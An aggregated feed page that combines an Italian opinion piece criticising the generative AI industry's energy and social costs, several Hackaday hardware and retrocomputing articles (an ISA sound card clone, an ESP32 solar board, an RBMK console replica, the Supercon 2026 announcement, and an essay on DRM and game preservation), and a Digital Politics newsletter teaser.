Manco tutti quelli che ripetono sta fesseria girassero in Rolls, ma non importa, l'importante è mettere i poveri contro i più poveri, così lasciano in pacev i ricchi; è il trucco più vecchio del mondo.

Rimane ancora il fatto che i costi energetici e ambientali dell'industria dell'Intelligenza Artificiale generativa sono ancora peggio dei costi sociali.

Google ha appena annunciato di avere mancato i propri obiettivi di riduzione dell'impatto ambientale. Di nuovo. L'industria della Intelligenza Artificiale generativa non è solo spaventosamente idrovora e energivora: lo è in modo stupido e criminale.

Stupido perché gli AI bro continuano a vendere l'idea di "Dio nel computer" quando hanno in mano solo una tecnologia con qualche utilità marginale a una scala infinitamente minore di quella necessaria al mantenimento del loro carrozzone.

Criminale perché, solo un criminale può delirare del bisogno di Gigawattora di energia in un pianeta dove il cambiamento climetico richiede di mettere il risparmio energetico e la riduzione di emissioni in cima alle priorità.

pausa

OK, dove ci porta tutto questo? Voglio impedire a Alex o a chiunque di usare la sua Intelligenza Artificiale generativa?

Quello che spero è che smettiamo di usarla senza avere chiaro in testa quali interessi porta avanti, e che quegli interessi non sono di noi che la usiamo. In altri tempi si sarebbe detto che è necessario sviluppare una coscienza di classe.

È un lessico che non mi è mai appartenuto ma, come dicevamo prima, il valore di un argomento sta nell'argomento, non nella modalità di presentazione.

Quindi sì, è ora che sviluppiamo una coscienza di classe.

E, dopo averlo fatto, che ne traiamo le conseguenze.

DK 10x39 - Dissing

Io non ho ataccato Quintarelli, anche se poteva sembrare. E Raccuglia non ha attaccato me, e nemmeno lo sembrava. Scuse al primo, risposte al secondo, pace a t

^{Runtime Radio (Spreaker)}

Many older hackers will have at some point gotten rid of an old piece of hardware that they later ended up regretting. All those ISA cards were next to useless back in 2006, but now their relative rarity plus the popularity of retrocomputing makes them sought-after. But if it’s a sound card you’re after then never fear! [Schlae] has got you covered, with the Beavis Ultrasound. It may have a name reminiscent of a ’90s cartoon series, but it’s a clone of the Gravis Ultrasound from back in the day.

There is of course a snag, to build one you need an AMD AM78C201. Assuming you’ve found one in a surplus supplier though, the rest of the card is analogue, some glue logic, and a ROM for samples. There is also a GAL for driving the IDE CD-ROM interface, from the days when sound cards came with such things.

New ISA cards are cropping up here from time to time, such as this very handy storage and network card.

hackaday.com/2026/07/13/cant-f…

There are a lot of ESP32-based development boards out there– and why not? It’s a versatile chip that can be used in all sorts of situations, and people want boards to match them. Not finding one to his liking that was specifically built for solar powered IoT projects, [Narrow Studios] rolled his own. Well, designed it; like most these days, he’s outsourced the manufacturing to PCBWay, which is where you’ll need to go if you want one.

Why might you want one? Well, if you have similar goals in mind to [Narrow Studios]. He’s put an ESP32-C6 Mini on the board, which means it’s got most of the IoT communications protocols you might be interested in — bluetooth, wifi, Matter, Thread, and Zigbee, too. Ten 10 IO pins have been broken out, plus I2C on a QWIIC connector, which gets you a whole ecosystem of sensors to easily plug into. The “solar” part is justified by the inclusion of a BQ25186 linear battery charging IC from Texas Instruments, with the designated solar power input protected against reverse voltage in case you– like this author– have let magic smoke out by hooking things up backwards. Is it embarrassing? Yes. Does it happen? Also yes, so putting protection on the board is a nice feature. [Narrow Studios] released a video that we’ve embedded below discussing his design choices and demonstrating the device, but the project page can give you the gist.

Of course there’ve been plenty of solar-powered projects to feature the ESP32 here before– you can even use it for maximum power point tracking— but this dev board might be exactly what someone is looking for to build their next IoT project, so we’re thankful to [Narrow Studios] for the tip.

youtube.com/embed/BSa_ZN4z1qQ?…

hackaday.com/2026/07/13/get-yo…

To give people the most intimate RBMK experience, the [Chornobyl Family] has been working tirelessly at not only replicating the original RBMK reactor control room and its SKALA industrial control system’s controls, but also to create a version that you could tinker with at home if you ever fancied getting your own RBMK operator license. This starts with the operator console, with its use demonstrated in a recent video including a range of common commands.

In this video the entering of codes on the console to interact with the system is detailed, including the logic behind it. In the absence of large displays to display many parameters and such, this way the operator could ‘talk’ with the control system, including obtaining current sensors readings and the setting and changing of setpoints. From the same console you can also select and run programs, which is useful for automating tasks, like monitoring coolant flows.

In the second video not only the construction of the control panel is covered, but also a visual representation of the simulated reactor core which is displayed on a connected monitor. Although not a part of the original SKALA system as such, a much larger version existed as a wall-sized physical version inside the control room, so it’s definitely more home-simulator friendly.

We previously covered this SKALA system that controls RBMK reactors, as well as the 1990s modernization of the Chornobyl Nuclear Power Plant.

youtube.com/embed/uiMzGRs8q2Q?…

youtube.com/embed/1JSP_gVXZTs?…

hackaday.com/2026/07/13/using-…

There was a time in the early 1980s when it was common to see home made keyboards for 8-bit machines that came with membrane or rubber keyboards. Though we’ve seen any numbers of home made modern ‘boards, it’s been decades since we saw one for an 8-bit micro. Until today, that is, when we saw [Vlad]’s Sinclair Spectrum. It’s a Spectrum with all that Sinclair glue logic that was in the ULA replaced in software by an RP2050, and that keyboard with the Spectrum decals.

The machine is a charming mixture of new and old, with a traditional cassette port alongside VGA, gameport joystick, and Sinclair joystick. The aim is to also have HDMI, though it’s not yet implemented. Sadly there is no Spectrum edge connector for period peripherals though. He admits it’s not cycle accurate to the original, but given that it runs all the games he’s given it this seems not to matter. Meanwhile that keyboard which caught our eye is a true period piece, sitting as it does on a piece of phenolic stripboard, and those decals are the perfect finishing touch.

The Spectrum receives quite a bit of love today, and if this one takes too many modern liberties for your liking, you can still make one using proper logic.

hackaday.com/2026/07/13/its-a-…

We are absolutely stoked to announce that the Hackaday Superconference is taking place this year November 6th through 8th in glorious Pasadena California, and we want to see you there!

If you’ve been to any of the previous nine Supercons, you know that it’s a fantastic gathering of the most motivated and interesting hackers around — but it’s also been a relatively small gathering. And while we love the very high signal-to-noise ratio of folks who show up, we’re always a little bit sad when the tickets sell out because it represents hackers who couldn’t be there.

So this year, we’re celebrating Supercon Ten by expanding out of our traditional location at the Design Lab so that we can accommodate 20% more hackers, while still keeping the cosy nature of the event intact. So if you’ve been wanting to come to Supercon, but procrastinated the ticket sales every year, this year is looking 20% better.

Call for Proposals

If you want to give a talk to an interested audience of hackers just like you, now is your chance. Fill out the Call for Participation form before Wednesday, Aug 12th to put your hat in the ring. Presenters not only get to share their work with a like-minded audience, but they get in the door free! Presenting really is the best way to attend a conference like this – it’s the ultimate ice-breaker. (Plus, did we mention free?)

We will have two tracks of talks on two stages, and both are a mix of shorter 20-minute talks and longer 40-minute sessions, so whatever the size of your ideas, we have the slot for you. As always, we like to hear about your projects: hardware, software, creation, destruction, or anything in-between. In short, if you have a talk that would interest the readers of Hackaday, it fits. Check out last year’s slate if you’re curious, but bear in mind that we like to see new stuff, so don’t feel constrained by precedent. If you’re into it, there’s a good chance that many of us are too!

All you need is an abstract, a title, and a solid general idea of how the talk is going to go. First time speaker, or grizzled veteran: get your proposal in now.

Plus ça Change…

Supercon Ten starts out as usual with a casual badge-hacking day at Supplyframe HQ on the morning of Friday Nov 6th. We love this day because there’s “nothing” to do! It’s the perfect way to ease into the conference: the doors open, and the food and coffee starts flowing. As the solder melts, brought-along hacks get demoed, friendships form, and plans get hatched. We go on well into the night, with music and festivities to keep you motivated or distracted – the choice is yours.

Saturday and Sunday are chock-full of talks, workshops, challenges, and other events. This year, we’ll be a few blocks south at the ArtCenter South Campus, which means that we’ll be relocating our traditional back-alley ambiance to significantly fancier digs. But of course, we’ll have space for hacking, mingling, and watching the talks.

Sunday evening comes too soon, and at the end of this second day of talks, we’ll let you showcase all of the badge hacks that you’ve been working on before spilling out into the town and falling far too late into bed.

Just because enough is never enough, we’ll probably also meet up informally sometime Thursday night if you’re already in town. And if you’re able to finagle a half-day Monday into your schedule, you’ll find that a bunch of folks have off-schedule side trips that are always popular.

Get Excited!

We know that we’re announcing late this year. The new venue, combined with a late Hackaday Europe, made for a lot more planning to be done. But now that all of our ducks are in a row, we’re very much looking forward to November. And of course, we can’t wait to see what you all are going to bring with you to Supercon. After all, it’s the Hackaday community that makes it great.

Get your talk proposals in now, and in the next few weeks, we’ll open up ticket pre-sales. Tell your friends, neglect to mention it to your enemies, and start making your Supercon plans today.

hackaday.com/2026/07/13/2026-h…

[lcamtuf] is not just a calculator superfan, but also a skilled builder. That much is evident in the fabulous design of Calcumator 2000, an electromechanical calculator that uses voltmeter readouts as digits (plus one at the bottom to represent decimal place). There are plenty of high-quality build images, so give it a look!
Meters like the one on the right (numbered 0 to 9) act as digit displays. The meter on the left indicates decimal position.
Calcumator 2000 is a bit of a love letter to a time when display technology hadn’t quite yet produced anything suitable for calculator use. This resulted in calculator designs that are generally unrecognizable compared to the 7-segment display based devices we see today. The Calcumator 2000, in all its electromechanical glory, would have fit right in that era.

The Calcumator 2000 has all the usual buttons one would expect from a simple calculator and drives a total of seven readouts, one of which acts as the decimal point. The idea of using voltmeters as digit displays came from [lcamtuf]’s voltmeter clock, an earlier work with a similar attention to detail in its design and assembly.

We want to take a moment to admire how clean the blue panel is. [lcamtuf] made it by painting one side of an acrylic panel, cutting the letters and design out on a CNC mill, then filling with white paint. The depth of the cuts gives the white elements a nifty multi-layer effect that really complements the design.

Want to see it work? Oh yes, you do. Check out the video, embedded just below.

player.vimeo.com/video/1209311…

hackaday.com/2026/07/13/voltme…

Along with the many displays of outrage, gnashing of teeth and other displays of profound grief at the recent news that Sony will no longer manufacture physical game discs come 2028, we have also heard some voices pipe up with a variety of statements, such as that this decision makes game archiving basically impossible. Of course, the truth of the matter is that software archiving in general has become much harder already over the past decades, while game consoles are just late to the archiving-hostile party.

As an example, one merely has to contrast Sony’s PlayStation with e.g. the Valve Steam store and software by juggernauts like Adobe and Autodesk. Here the former moved after the Creative Suite (CS6) series of Photoshop and other tools fully over to the Creative Cloud (CC) subscription model, where DRM and constant rental software renewals are in order. Unlike that disc copy of CS6 Master Collection that will stay good practically forever, there’s nothing really to archive with Adobe’s CC software.

Similarly, with digital game downloads and their constant patches now put inside a heavily encrypted environment that relies on a special launcher, preserving video games has been turned into into a virtual nightmare for many years now.

Why Archive

Archiving is about accumulating historical records or materials. The scope and reason for a particular archive can differ, such as a company’s archive with financial records, an engineering department’s archive of technical references, or a museum’s archive of physical artefacts. Whatever the reason, the same goal applies: the maintaining or creating of a historical timeline that can be later referenced as needed.

An essential part of archives is to act as a primary reference source: where possible archives containonly the original documents and artefacts, making them as close to an objective source of history as possible. This is both extremely useful for a company when the tax office does a surprise inspection, but it is also for anyone who wishes to do any kind of historical research. This includes research into the development of a certain kind of software over the centuries and all types of related hardware.

Within the world of software archiving not much changes about this primary mission, except for the digital aspect that earns it the title of digital preservation. At least until fairly recently this meant mostly making copies of physical storage media and any associated physical media like documentation and manuals, but increasingly the subject of such preservation and archiving entails digital data that never was bound to or accompanied by any kind of physical media.

Such digital preservation is a big part of organizations like the Internet Archive, whose archives contain copies of software and games that might otherwise have been lost to the ages. The cases of retro enthusiasts coming across a floppy disk or CD containing some obscure game or set of drivers and uploading a copy to the Internet Archive are both numerous and an excellent example of digital preservation.

Other archives like the Video Game History Foundation (VGHF) have a more narrow focus, as their name implies. Their basic mission is no different, of course, with creating an archive that preserves history. Here the best part about digital preservation is that it makes it possible to create virtually infinite bit-perfect copies of the materials, making it incredibly easy to share and enjoy multimedia, gaming, and other content from these archives.

Digital Restrictions

Early 2000s meme about copyright infringement, inspired by similarly titled campaign.
Of course, if that was all that there is to be said about digital archiving and preservation then this is basically where we could conclude merrily that all is well, and that whether software is distributed digitally or on some kind of physical storage media is of no concern. In this scenario said software can be copied around to one’s heart’s content, burned to optical media and so on without restrictions, ensuring its preservation.

With distributors of software having had fits about how easy it is to copy and distribute said software since at least the 1980s, it’s little wonder that they haven’t seen fit to rely on the fact that copyright infringement is illegal, and instead sought to make it impossible to copy the data of software. This led to a wide variety of copy restriction implementations, including on floppy disks, such as Electronic Arts’ Interlock system, while Nintendo’s game cartridges mostly relied on this more obscure format to keep people from creating their own cartridges.

In the face of these hurdles, the US Library of Congress notes that, for some software, it’s not enough to have the software on some medium, but also the console or hardware to play it on.

These copy restriction mechanisms are a form of digital restrictions management (DRM), euphemistically called ‘rights management’, since DRM only removes rights. As software became decoupled from physical media by the late 90s along with multimedia content like MP3 music, alternate DRM schemes were developed that restrict copying, generally through encryption and a convoluted decryption scheme that even includes hardware-level encryption such as High-bandwidth Digital Content Protection (HDCP).

The upshot of all these copy restriction schemes is that you have to jump through many hoops to still create a copy, whether it involves breaking a floppy copying scheme, using an HDMI splitter that accidentally forgets to re-apply HDCP before sending the content off to a capture card, catching a lucky break with a leaky DVD CSS implementation, or using the analog hole to create that ‘good enough’ copy.

Nobody buys games on DVDs anymore, however. When a digital game is provided via an online store service, how can this be preserved in a digital archive? Since all of these rely on an internet-dependent DRM scheme which fails the moment there’s an issue anywhere in the chain, or if said authentication servers are turned off in N years from now, all preservation schemes here are by definition flawed or at least legally awkward.

A Digital Void

When EA created its Interlock copy restriction scheme it was likely not concerned with whether or not copies of their games would survive into the 2020s, never mind whether anyone would still be using FDDs. It does however indicate the central problem here, one that goes far beyond a black-and-white physical media vs digital-only show-off. Especially since physical media could be argued to be flawed enough that it deserved it to die.

In today’s inevitable march towards a future in which we’re all consuming content using ‘our’ Smart Terminal Devices that rely on any number of paid subscriptions to gain access to the actual content stored on the servers of our benevolent Content Overlords, what probably rankles people the most about the PlayStation physical media announcement is less the demise of physical media and more a reminder of how much has already been taken from us.

In statement made by VGHF director Frank Cifaldi on the end of physical PlayStation discs – and the concurrent announcement of the shutdown of the PlayStation 3 and Vita online stores – this is put in the broader context of the digital void that we’re facing, in which a large part of video game history simply cannot be legally preserved.

The Legal Conundrum

Here we have to address the rather sizeable elephant in the room, in the form of copyright infringement. Here we see large groups of very nice people in friendly online communities who carefully strip any offending DRM that may even prevent the game from working, while ensuring that the freely provided bundle is kept up to date with only the best patches and anything of relevance.

Within these communities you can find entire swathes of video game history preserved for the enjoyment of connoisseurs, including tutorials, manuals, carefully curated collections mods and extensions, plus everything else that would make a professional digital archivist salivate.

But these ‘shadow archives’ are definitely illegal according to copyright law, ergo the only option available to VGHF and other organizations that are trying to stay on the light side of the law might be to wait a few decades, see which games enter the legal grey zone of ‘abandonware‘ and see whether they’ll still get hit by DMCA takedown request in 2050 for a game that ceased being offered for sale in 2026.

C’est la vie.

hackaday.com/2026/07/13/the-de…

IT'S MONDAY, AND THIS IS DIGITAL POLITICS. I'm Mark Scott, and for those who want to reach me on July 15 for evening meetings, I apologize but my calendar is already full. #ThreeLions.

— Enforcers worldwide have shifted focus toward forcing social media giants to revamp how they operate. That design change is going to be difficult.

— The United Nations has gone all-in on artificial intelligence. Yet the real geopolitics around the emerging technology is happening elsewhere.

— People aren't using AI chatbots to access news (yet).

Let's get started:

digitalpolitics.co/platform-de…